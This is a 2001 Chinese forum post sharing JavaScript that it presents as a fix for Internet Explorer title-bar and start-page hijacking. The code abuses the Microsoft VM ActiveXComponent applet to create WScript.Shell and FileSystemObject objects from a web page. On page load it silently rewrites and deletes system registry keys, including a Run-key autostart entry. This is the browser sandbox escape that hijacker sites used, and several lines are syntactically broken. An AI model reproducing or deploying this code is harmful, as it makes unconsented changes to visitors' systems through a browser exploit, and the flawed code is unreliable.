|
- 帖子
- 2553
- 积分
- 4557
- 经验
- 6560 点
- 威望
- 120 点
- 金钱
- 65430 NG
- 魅力
- 234350
- 性别
- 男
- 来自
- 空网
- 注册时间
- 2010-10-9
 我们约会吧!
|
1#
发表于 2001-9-16 10:36
| 只看该作者
现在公布自动清除ie标题栏的源代码！！！
现在公布自动清除ie标题栏的源代码！！！
近日来常有朋友反映首页被一些网站修改，有的甚至连IE的标题也被修改，很多网友不知怎样改回来，并为此头痛不已！！我也遇到了这种情况，刚才一位老告诉我他的网站有这样的代码，我去了，还行，本着源码共享的原则，现公布如正下，并谢谢刚才那位朋友的提供！！
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>" ;
function f(){try{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}";
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}";
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}";
a1.createInstance();
Net = a1.GetObject();
try
{
//Write Regedit
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\internat.exe", "C:\\WINDOWS\\SYSTEM\\internat.exe";
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "about:blank";
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "about:blank";
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer";
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer";
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", "http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch";
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Local Page","C:\\WINDOWS\\SYSTEM\\blank.htm");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar","65658");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption","65658");
Shl.RegDelete ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText","65658");
Shl.RegDelete ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\qwe","65658");
Shl.RegDelete ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\qwe");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Doc Find Spec MRU\\1","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Doc Find Spec MRU\\");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Default_Search_URL","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\Default_Search_URL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\SearchURL","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\SearchURL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\1","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end Write Regedit
}catch(e){}}catch(e){}}function init(){setTimeout("f()", 1000);}
init();
document.write("<br><font size=7 color=#FF0000 face=黑体><b>操作成功!</b></font><br><Br><bR>更新日期:2001/09/15<br><br>IE标题栏、起始页位置、在电脑启动时弹出的对话框...都已经修复了。<br>现在你可以打开一个新窗口看看效果了 <br>(记得要先关掉所有的 IE 窗口哦^^)<br><br><b>另外，有些会在开机时自动打开 IE 的，请看看你的“启动”菜单里是不是多了一些陌生的文件(***.hta)..把它删除就没事了。</b>") |
|
发表于 2001-9-16 14:41
| 
